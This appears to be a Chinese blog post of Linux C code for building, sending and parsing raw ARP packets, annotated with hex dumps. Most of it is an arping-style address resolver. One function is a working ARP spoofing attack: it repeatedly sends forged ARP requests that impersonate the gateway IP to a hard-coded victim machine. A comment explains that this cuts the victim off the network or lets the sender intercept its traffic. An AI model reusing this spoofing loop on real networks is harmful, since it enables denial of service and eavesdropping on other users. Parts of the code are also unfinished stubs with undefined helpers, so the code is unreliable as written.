linux c arp 发送与接收 arp包 (实际调试通过的代码)


//1.先发包
//0000  6c 62 6d 3e 8d 60 11 22  33 44 55 66 08 06 00 01   lbm>.`." 3DUf....
//0010  08 00 06 04 00 01 11 22  33 44 55 66 c0 a8 00 01   ......." 3DUf....
//0020  6c 62 6d 3e 8d 60 c0 a8  00 69 00 00 00 00 00 00   lbm>.`.. .i......
//0030  00 00 00 00 00 00 00 00  00 00 00 00 

//目的地的mac地址
//6c 62 6d 3e 8d 60

//源头的mac地址 
//11 22  33 44 55 66


//type:ARP(0x0806)
//Hardware type:Ethernet(0x0001)
//Protocol type:IP(0x0800)
//Hardware size:6 mac地址的长度
//Protocol size:4  ip地址的长度
//Opcode: request(0x0001)

//Sender Mac address: 11 22  33 44 55 66
//Sender IP address: c0 a8 00 01(192.168.0.1)
//Target Mac address: 6c 62 6d 3e 8d 60
//Target IP address:c0 a8  00 69(192.168.0.105)


//2.响应包
//0000  11 22 33 44 55 66 24 0a  64 63 fd 99 08 06 00 01   ."3DUf$. dc......
//0010  08 00 06 04 00 02 24 0a  64 63 fd 99 c0 a8 00 69   ......$. dc.....i
//0020  11 22 33 44 55 66 c0 a8  00 01                     ."3DUf.. ..     

//目的地的mac地址
//11 22 33 44 55 66

//源头的mac地址 
//24 0a  64 63 fd 99

//type:ARP(0x0806)
//Hardware type:Ethernet(0x0001)
//Protocol type:IP(0x0800)
//Hardware size:6 mac地址的长度
//Protocol size:4  ip地址的长度
//Opcode: reply(0x0002)

//Sender Mac address: 24 0a  64 63 fd 99
//Sender IP address: c0 a8 00 69(192.168.0.105)
//Target Mac address: 11 22 33 44 55 66
//Target IP address:c0 a8  00 01(192.168.0.1)


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <linux/types.h>
#include <sys/socket.h>
#include <netinet/ip_icmp.h>    //struct icmp
#include <netinet/in.h>         //sockaddr_in
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <sys/time.h>
#include <string.h>


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <net/ethernet.h>
#include <netpacket/packet.h>
#include <net/if.h>


//#include "log.h"
//#include "address_util.cpp"
#include <net/if_arp.h>
#include <net/ethernet.h>
#include <net/if.h>
//#include <net/if_dl.h>
#include <ifaddrs.h>
#include <sys/ioctl.h>
#include <sys/uio.h>
#include <sys/times.h>
//#include <net/bpf.h>
#include <fcntl.h>
#include <unistd.h>
#include <netdb.h>
#include <unistd.h>
#include <ctype.h>
#include <errno.h>
#include <signal.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <sys/uio.h>
#include <sys/file.h>
#include <sys/time.h>
#include <sys/signal.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <linux/sockios.h>
#include <linux/if.h>

//#include <linux/if_arp.h>
//#include <linux/if_packet.h>


 
//如果只是想让对方断网,那就把mac源都设成MAC_TRICK,
//想截获数据包那就用MAC_SOURCE


//28:80:11:25:bb:25

//#define MAC_TRICK {0x11, 0x22, 0x33, 0x44, 0x55, 0x66}

#define MAC_TRICK {0xAC, 0x1F, 0x6B, 0x79, 0x70, 0x24 }


#define MAC_SOURCE {0x00, 0x0c, 0x29, 0xc7, 0x16, 0x33}
//冒充的IP
#define IP_TRICK "192.168.0.1"

//目标机器的MAC

#define MAC_TARGET   { 0x28, 0x80, 0x11, 0x25, 0xbb, 0x25 }


//#define MAC_TARGET   { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }


//目标机器的IP
#define IP_TARGET "192.168.0.108"
 
struct arp_packet
{
    //DLC Header
    //接收方mac
    unsigned char mac_target[ETH_ALEN];
    //发送方mac
    unsigned char mac_source[ETH_ALEN];
    //Ethertype - 0x0806是ARP帧的类型值
    unsigned short ethertype;
 
    //ARP Frame
    //硬件类型 - 以太网类型值0x1
    unsigned short hw_type;
    //上层协议类型 - IP协议(0x0800)
    unsigned short proto_type;
    //MAC地址长度
    unsigned char mac_addr_len;
    //IP地址长度
    unsigned char ip_addr_len;
    //操作码 - 0x1表示ARP请求包,0x2表示应答包
    unsigned short operation_code;
    //发送方mac
    unsigned char mac_sender[ETH_ALEN];
    //发送方ip
    unsigned char ip_sender[4];
    //接收方mac
    unsigned char mac_receiver[ETH_ALEN];
    //接收方ip
    unsigned char ip_receiver[4];
    //填充数据
    unsigned char padding[18];
};
 
void die(const char *pre);


#if 0
void readBpf(int fd) {
    int bufSize;
    /* Returns the required buffer length for reads on bpf files */
    if (ioctl(fd, BIOCGBLEN, &bufSize) < 0) {
        perror("BIOCGBLEN failed: ");
        exit(1);
    }
    LOG_D(TAG, "BIO Buffer: %d", bufSize);
    char re[bufSize];

    int finish = 1;
    while (finish) {
        /* 从 BPF 设备中读取数据 */
        ssize_t readed = read(fd, re, bufSize);
        if (readed < 0) {
            perror("read failed.");
            break;
        }
        else if (readed == 0) {
            LOG_D(TAG, "read end.");
            break;
        }
        LOG_D(TAG, "read %d bytes data.", readed);

        /* 接收的数据的头部是 bpf_hdr */
        const struct bpf_hdr *bpfHeader = (struct bpf_hdr *)re;
        LOG_D(TAG, "bpf header tstamp: %", bpfHeader->bh_tstamp);
        LOG_D(TAG, "bpf header len: %d", bpfHeader->bh_hdrlen);
        LOG_D(TAG, "bpf header data len: %d", bpfHeader->bh_datalen);
        LOG_D(TAG, "bpf header cap len: %d", bpfHeader->bh_caplen);
        /* 从 re 中取出以太网头部 */
        ether_header_t *eaddr = (ether_header_t *)(re + bpfHeader->bh_hdrlen);

        u_short etherType = ntohs(eaddr->ether_type);
        if (etherType == ETHERTYPE_ARP) {
            LOG_D(TAG, "Received ARP");
            /* 从 re 中取出ARP数据 */
            const struct arphdr *arp = (struct arphdr *)(re + bpfHeader->bh_hdrlen + sizeof(ether_header_t));
            /* 由于会收到很多局域网中其他设备发出的 ARP 请求, 所以只接收第一次的 Reply, 表示是对我们发出的 Request 的响应. 更严谨的应该根据 Reply 包中的目标ip地址和目标mac地址是不是我们的地址来过滤 */
            if (arp->ar_op == ntohs(ARPOP_REPLY)) {
                LOG_D(TAG, "Received ARP Reply");
                outputArp(arp);
                finish = 0;
            }
        }
    }
}
#endif

//ARP协议的C语言实现源代码【转载】 收藏
//什么是ARP协议
//英文原义:ADDRESS RESOLUTION PROTOCOL
//中文释义:(RFC - 826)地址解析协议


#define src_addr "192.168.0.1"   //需要进行arp解析的ip
#define device  "eno1"                //本机的哪块网卡
#define fill_buf "aaaaaaaaaaaa"
int socket_id;
char *target = src_addr;
int send_count = 0;
int recv_count = 0;


struct in_addr  src, dst;


#if 0
struct sockaddr_ll {
    unsigned short    sll_family;
    __be16        sll_protocol;
    int        sll_ifindex;
    unsigned short    sll_hatype;
    unsigned char    sll_pkttype;
    unsigned char    sll_halen;
    unsigned char    sll_addr[8];
};
#endif


struct sockaddr_ll   me, he;
struct timeval   send_time, recv_time;

//获得本机相应网卡的ip
struct in_addr get_src_ip( char *devices )
{
    struct sockaddr_in saddr;
    int sock_id = socket(AF_INET, SOCK_DGRAM, 0);
    //设置数据报socket
    if( sock_id < 0 ) {
        perror("socket");
        exit(2);
    }
    if (devices) {
        if (setsockopt(sock_id, SOL_SOCKET, SO_BINDTODEVICE, device, strlen(device) + 1) == -1)//将socketbind到网卡上
            perror("WARNING: interface is ignored");
    }
    int alen = sizeof(saddr);
    memset(&saddr, 0, sizeof(saddr));
    saddr.sin_port = htons(0x1000);//设置端口
    saddr.sin_family = AF_INET;
    if (connect(sock_id, (struct sockaddr*)&saddr, sizeof(saddr)) == -1) {//将socket连接到相应的inet地址上
        perror("connect");
        exit(2);
    }
    if (getsockname(sock_id, (struct sockaddr*)&saddr, &alen) == -1) {//通过socket获得绑定的ip地址
        perror("getsockname");
        exit(2);
    }
    close(sock_id);
    return saddr.sin_addr;
}
int check_device(char* if_dev, int ss)//网卡和socket    将网卡设置为混杂模式?
{
    int ifindex;
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    strncpy(ifr.ifr_name, if_dev, IFNAMSIZ - 1);//网卡设备名
    if (ioctl(ss, SIOCGIFINDEX, &ifr) < 0) {
        fprintf(stderr, "arping: unknown iface %s\n", if_dev);
        exit(2);
    }
      ifindex = ifr.ifr_ifindex;
      if (ioctl(ss, SIOCGIFFLAGS, (char*)&ifr)) {
          perror("ioctl(SIOCGIFFLAGS)");
          exit(2);
      }
      if (!(ifr.ifr_flags&IFF_UP)) {
          printf("Interface \"%s\" is down\n", if_dev);
          exit(2);
      }
      if (ifr.ifr_flags&(IFF_NOARP | IFF_LOOPBACK)) {
          printf("Interface \"%s\" is not ARPable\n", if_dev);
          exit(2);
      }
      return ifindex;
  } // check_device()


  
int socket_init()
{
    int s, s_errno;
    s = socket(PF_PACKET, SOCK_DGRAM, 0);
    //数据包
    s_errno = errno;
    me.sll_family = AF_PACKET;

    //printf("sizeof(me) = %d\n", sizeof(me));
    //printf("me.sll_family = 0x%x\n", me.sll_family);

    me.sll_protocol = htons(ETH_P_ARP);
    //printf("me.sll_protocol = 0x%x\n", me.sll_protocol);
    me.sll_ifindex = check_device(device, s);
    //printf("me.sll_ifindex = 0x%x\n", me.sll_ifindex);
    //macdbg_dmphex(&me, sizeof(me));
    
    if (bind(s, (struct sockaddr*)&me, sizeof(me)) == -1) {
        perror("bind");
        exit(2);
    }
    //macdbg_dmphex(&me, sizeof(me));

    
    int alen = sizeof(me);
    if (getsockname(s, (struct sockaddr*)&me, &alen) == -1) {
        perror("getsockname");
        exit(2);
    }
    //macdbg_dmphex(&me, sizeof(me));

    
    if (me.sll_halen == 0) {
        printf("Interface \"%s\" is not ARPable (no ll address)\n", device);
        exit(2);
    }
    he = me;
    memset(he.sll_addr, 0xff, he.sll_halen);  
    //set dmac addr FF:FF:FF:FF:FF:FF


    //printf("s = 0x%x\n", s);
    return s;
}

int
create_pkt(unsigned char * buf, struct in_addr src, struct in_addr dst, struct sockaddr_ll * FROM, struct sockaddr_ll * TO)
{
    struct arphdr *ah = (struct arphdr*) buf;
    unsigned char *p = (unsigned char *)(ah + 1);
    ah->ar_hrd = htons(FROM->sll_hatype);
    if (ah->ar_hrd == htons(ARPHRD_FDDI))
        ah->ar_hrd = htons(ARPHRD_ETHER);
    ah->ar_pro = htons(ETH_P_IP);
    ah->ar_hln = FROM->sll_halen;
    ah->ar_pln = 4;
    ah->ar_op = htons(ARPOP_REQUEST);
    memcpy(p, &FROM->sll_addr, ah->ar_hln);
    p += FROM->sll_halen;
    memcpy(p, &src, 4);
    p += 4;
    memcpy(p, &TO->sll_addr, ah->ar_hln);
    p += ah->ar_hln;
    memcpy(p, &dst, 4);
    p += 4;
    memcpy(p, fill_buf, strlen(fill_buf));
    p += 12;
    return  (p - buf);
}
void send_pkt()
{
    unsigned char send_buf[256];
    int pkt_size = create_pkt(send_buf, src, dst, &me, &he);
    gettimeofday(&send_time, NULL);
    int cc = sendto(socket_id, send_buf, pkt_size, 0, (struct sockaddr*)&he, sizeof(he));
    if (cc == pkt_size)
        send_count++;
    alarm(1);
}
int chk_recv_pkt(unsigned char * buf, struct sockaddr_ll * FROM)//解析arp数据
{
    struct arphdr *ah = (struct arphdr*)buf;
    unsigned char *p = (unsigned char *)(ah + 1);
    struct in_addr src_ip, dst_ip;
    if (ah->ar_op != htons(ARPOP_REQUEST) && ah->ar_op != htons(ARPOP_REPLY))
        return 0;
    if (ah->ar_pro != htons(ETH_P_IP) || ah->ar_pln != 4 || ah->ar_hln != me.sll_halen)
        return 0;
    memcpy(&src_ip, p + ah->ar_hln, 4);
    memcpy(&dst_ip, p + ah->ar_hln + 4 + ah->ar_hln, 4);
    if (src_ip.s_addr != dst.s_addr || src.s_addr != dst_ip.s_addr)
        return 0;
    return (p - buf);
}
void disp_info(int received, struct in_addr dst, int msecs, int usecs, struct sockaddr_ll from)
{
    printf("%03d ", received);
    printf("%s ", from.sll_pkttype == PACKET_HOST ? "Unicast" : "Broadcast");
    printf("%s from %s", "reply", inet_ntoa(dst));
    printf(" [%02X:%02X:%02X:%02X:%02X:%02X] ", from.sll_addr[0], from.sll_addr[1], \
        from.sll_addr[2], from.sll_addr[3], from.sll_addr[4], from.sll_addr[5]);
    printf(" %ld.%ld ms\n", (long int)msecs, (long int)usecs);
    fflush(stdout);
}

void finish()
{
     printf("\nSent %d ARP probe packet(s) \n", send_count);
     printf("Received %d response(s)", recv_count);
     printf("\n\n");
     fflush(stdout);
     exit(!recv_count);
 }


int main( int argc, char **argv )
{     
    int ret;
    uid_t uid = getuid();

    //printf("uid = %d \n", uid);
    setuid(uid);
    
    if( *(argv + 1) != NULL ){
        target = *(argv + 1);
        //传入的第一个参数,待解析的ip地址
    }
    //printf("target = %s \n", target);
    ret =   inet_aton(target, &dst);
    //printf("ret = %d \n", ret);
    if( ret != 1) {
        //使用字符串ip更新dst地址结构中的网络字节序ip
        struct hostent *hp;
        hp = gethostbyname2(target, AF_INET);
        printf("\ntarget = %s \n", target);
        if( !hp ){
            fprintf(stderr, "arping: unknown host %s\n", target);
            exit(2);
        }
        memcpy(&dst, hp->h_addr, 4);
    }
  
    src = get_src_ip(device);//获得本机device网卡的ip
    if (!src.s_addr) {
        fprintf(stderr, "arping: no source address in not-DAD mode\n");
        exit(2);
    }

    //printf("src = %x\n", src);
    //printf("src = %x\n", sizeof(src));

    
    socket_id = socket_init();
    printf("\nARPING %s ", inet_ntoa(dst));
    printf("from %s %s\n\n", inet_ntoa(src), device ? : "");
    signal(SIGINT, finish);
    signal(SIGALRM, send_pkt);
    send_pkt();
    while (1)
    {
        struct sockaddr_ll from;
        int alen = sizeof(from);
        char recv_buf[0x1000];

        int recv_size = recvfrom(socket_id, recv_buf, sizeof(recv_buf), 0, (struct sockaddr *)&from, &alen);

        gettimeofday(&recv_time, NULL);
        if (recv_size < 0) {
            perror("arping: recvfrom");
            continue;
        }
        if (chk_recv_pkt(recv_buf, &from) > 0) {
            memcpy(he.sll_addr, from.sll_addr, he.sll_halen);
            long usecs, msecs;
            if (recv_time.tv_sec) {
                usecs = (recv_time.tv_sec - send_time.tv_sec) * 1000000 + recv_time.tv_usec - send_time.tv_usec;
                msecs = (usecs + 500) / 1000;
                usecs -= msecs * 1000 - 500;
            }
            recv_count++;
            disp_info(recv_count, dst, msecs, usecs, from);
        } // if (chk...)    

    }
    return 0;
}
 


 
int mainkkkksssssss(void)
{
    int sfd, len;
    struct arp_packet ap;
    struct in_addr inaddr_sender, inaddr_receiver;
    struct sockaddr_ll sl;

    unsigned char mac_target_x[ETH_ALEN] = MAC_TARGET;
    unsigned char mac_source_x[ETH_ALEN] = MAC_TRICK;
    unsigned char mac_sender_x[ETH_ALEN] = MAC_TRICK;
    unsigned char mac_receiver_x[ETH_ALEN] = MAC_TARGET;

    sfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if(-1 == sfd){
        perror("socket");
    }
    memset(&ap, 0, sizeof(struct arp_packet));

    //ap.mac_target[ETH_ALEN] = MAC_TARGET;
    memcpy( &ap.mac_target[0], &mac_target_x[0], 6);

    //ap.mac_source = MAC_TRICK;
    memcpy( &ap.mac_source[0], &mac_source_x[0], 6);
    
    
    ap.ethertype = htons(0x0806);
    ap.hw_type = htons(0x1);
    ap.proto_type = htons(0x0800);
    ap.mac_addr_len = ETH_ALEN;
    ap.ip_addr_len = 4;
    ap.operation_code = htons(0x1);

    
    //ap.mac_sender = MAC_TRICK;
    memcpy( &ap.mac_sender[0], &mac_sender_x[0], 6);
    inet_aton(IP_TRICK, &inaddr_sender);
    
    memcpy(&ap.ip_sender, &inaddr_sender, sizeof(inaddr_sender));


    //ap.mac_receiver = MAC_TARGET;

    //ap.mac_receiver = { 0x6c, 0x62, 0x6d, 0x3e, 0x8d, 0x60 };


    memcpy( &ap.mac_receiver[0], &mac_receiver_x[0], 6);


    

    
    inet_aton(IP_TARGET, &inaddr_receiver);
    memcpy(&ap.ip_receiver, &inaddr_receiver, sizeof(inaddr_receiver));
 
    memset(&sl, 0, sizeof(sl));
    sl.sll_family = AF_PACKET;
    //sl.sll_addr = MAC_SOURCE;
    //sl.sll_halen = ETH_ALEN;
    sl.sll_ifindex = IFF_BROADCAST;//非常重要
 
    while(1)
    {
        len = sendto(sfd, &ap, sizeof(ap), 0, (struct sockaddr*)&sl, sizeof(sl));


        macdbg_dmphex(&ap, sizeof(ap));
        usleep(500000);

        printf("send len = %d \n", len);
        if(-1 == len)
        {
            die("sendto");
        }
    }
    
 
    return 0;
}
 
void die(const char *pre)
{
    perror(pre);
    exit(1);
}

 


int mainxxx(int argc,char *argv[])
{
    int skfd;
    struct sockaddr_in addr={0};    
    struct sockaddr_in saddr={0};
    char buff[68]={0};  
    char recvbuff[512]={0};  
    int ret;
    int addrlen = 0;
    int count = 1; 
    int i = 1;
    unsigned int csum=0x00;

    unsigned int sum = 0x00;
    unsigned int result = 0x00;


     
out:
    close(skfd);
    return 0;
}


 


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值